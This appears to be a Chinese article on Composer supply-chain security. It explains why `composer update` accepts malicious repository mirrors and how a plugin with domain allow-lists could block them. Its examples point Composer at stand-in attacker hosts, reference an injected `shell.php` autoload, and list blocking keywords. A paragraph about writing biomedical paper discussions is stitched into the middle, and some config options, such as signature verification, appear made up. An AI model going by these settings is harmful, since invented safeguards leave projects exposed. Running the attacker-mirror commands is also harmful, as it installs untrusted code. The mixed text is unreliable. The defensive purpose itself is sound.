Composer update 不拦截恶意源地址，因其仅验证 JSON 结构合法性而不校验域名、证书或重定向，需依赖插件机制（如 PRE_PACKAGE_INSTALL 事件）结合域名白名单和 dist.url 检查实现主动拦截。
为什么 composer update 本身不拦截恶意源地址
Composer 的 update 命令只解析依赖关系、下载包、写入 composer.lock，它不会检查源地址是否钓鱼、是否被劫持，也不会校验仓库域名是否异常。哪怕你配置了 "repositories": [{"type": "composer", "url": "https://attacker-mirror.net"}]，只要响应格式合法，Composer 就照单全收——它信任的是 JSON 结构，不是 URL 本身。
常见错误现象：CI 构建日志里出现 Loading https://attacker-mirror.net/packages.json，但没人察觉；上线后 vendor/ 里多出陌生文件，git diff 发现 autoload.files 引入了 ./vendor/evil/pkg/shell.php。
-
composer update不做 DNS 校验、不比对证书 CN、不拦截 HTTP 状态码 200 以外的响应（比如重定向到恶意源） - 即使启用了
secure-http: true，它也只拒绝纯 HTTP 源，对 HTTPS 但域名可疑的镜像无感 -
repositories.exclude只作用于指定源内的包名，无法按域名或协议动态拦截
用 allow-plugins 白名单 + 自定义 Plugin 拦在解析前
真正能拦截恶意源地址的，是 Composer 插件机制中的 CommandEvent 或 PreFileDownloadEvent（v2.5+），但最稳的是监听 PackageEvents::PRE_PACKAGE_INSTALL ——此时包还没解压，但源地址、dist URL、作者信息都已确定。
插件中需检查：getRepositoryUrl() 是否匹配可信域名白名单（如 packagist.org、my-internal.repo），若含 attacker-、.xyz、free-ssl.site 等高危关键词，立即抛 RuntimeException。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 不要只校验
url字段，还要检查dist.url（实际 ZIP 下载地址），攻击者常把元数据放可信源、包文件托管在恶意 CDN - 插件必须注册在
composer.json的require-dev中，并通过allow-plugins显式启用，否则 Composer 2.2+ 默认禁用 - 生产环境部署时加
--no-plugins会关闭所有插件，包括你的拦截逻辑——所以该参数只应在完全信任依赖树时使用
如何让 composer update 拒绝未知源地址
靠默认行为做不到。必须组合两层控制：一是全局配置禁止 fallback 到未声明源，二是项目级强制限定可用源列表。
- 执行
composer config -g packagist false（注意没有.org），关闭默认源自动回退能力 - 在项目
composer.json中明确列出所有允许的源，且每个url必须是完整 HTTPS 域名，禁用通配符和变量拼接 - 若某包只应从私有源安装，就在其
require后加"repositories": [{"type": "composer", "url": "https://my-internal.repo"}]，并设"packagist": false顶层开关 - 运行
composer update --dry-run时，观察日志是否出现未授权源的packages.json请求——这是唯一能提前发现源污染的低成本方式
镜像配置不当反而放大源劫持风险
直接执行 composer config -g repo.packagist composer https://malicious-mirror.com/ 是最危险操作：它不仅替换了元数据源，还彻底绕过 Packagist 官方的 dist.signature 校验，导致后续 install 静默接受篡改 ZIP。
正确做法是保留官方源语义，仅代理元数据请求：
- 先清掉旧配置：
composer config -g repo.packagist false - 再启用元数据镜像：
composer config -g repos.packagist.type composer&&composer config -g repos.packagist.url https://mirrors.aliyun.com/composer/ - 强制签名验证：
composer config -g security.signature-verification true - 验证生效：
composer diagnose输出中必须同时显示secure-http: OK和signature verification: OK
真正的风险点不在「能不能拦」，而在「谁来决定什么是恶意」——域名白名单要定期同步内部安全策略，不能写死在插件里；composer.lock 必须提交进 Git，否则连校验基准都没了。
